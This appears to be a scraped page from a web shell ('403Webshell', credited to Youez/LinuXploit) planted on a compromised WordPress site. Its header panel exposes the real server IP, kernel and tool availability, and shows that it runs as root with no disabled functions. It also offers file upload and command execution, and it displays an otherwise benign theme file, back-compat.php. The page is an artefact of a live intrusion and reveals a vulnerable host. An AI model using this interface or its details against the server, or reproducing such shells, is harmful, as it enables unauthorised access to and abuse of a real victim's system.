403Webshell
Server IP : 138.197.162.186  /  Your IP : 216.73.216.17
Web Server : nginx/1.24.0
System : Linux ubuntu-s-1vcpu-512mb-10gb-tor1 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/yogaensalada-site/wp-content/themes/yugen/inc/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/yogaensalada-site/wp-content/themes/yugen/inc/libraries/back-compat.php
<?php
/**
 * Back compat functionality
 *
 * Prevents this theme from running on PHP versions prior to 5.4.0
 */

/**
 * Prevent switching to this theme on older versions of PHP.
 *
 * Switches to the default theme.
 * @package yugen
 * @since 1.0.0
 */
function yugen_bc_switch_theme() {
    switch_theme( WP_DEFAULT_THEME );
    unset( $_GET['activated'] );
    add_action( 'admin_notices', 'yugen_bc_upgrade_notice' );
}
add_action( 'after_switch_theme', 'yugen_bc_switch_theme' );

/**
 * Adds a message for unsuccessful theme switch.
 *
 * @since 1.0.0
 */
function yugen_bc_upgrade_notice() {
    $message = sprintf( __( 'Yugen requires at least PHP version 5.4.0. You are running version %s. Please upgrade and try again.', 'yugen' ), PHP_VERSION );
    printf( '<div class="error"><p>%s</p></div>', $message );
}

/**
 * Prevents the Customizer from being loaded
 *
 * @since 1.0.0
 */
function yugen_bc_customize() {
    wp_die( sprintf( __( 'Yugen requires at least PHP version 5.4.0. You are running version %s. Please upgrade and try again.', 'yugen' ), PHP_VERSION ), '', array(
        'back_link' => true,
    ) );
}
add_action( 'load-customize.php', 'yugen_bc_customize' );

/**
 * Prevents the Theme Preview from being loaded
 *
 * @since 1.0.0
 */
function yugen_bc_preview() {
    if ( isset( $_GET['preview'] ) ) {
        wp_die( sprintf( __( 'Yugen requires at least PHP version 5.4.0. You are running version %s. Please upgrade and try again.', 'yugen' ), PHP_VERSION ) );
    }
}
add_action( 'template_redirect', 'yugen_bc_preview' );

Youez - 2016 - github.com/yon3zu
LinuXploit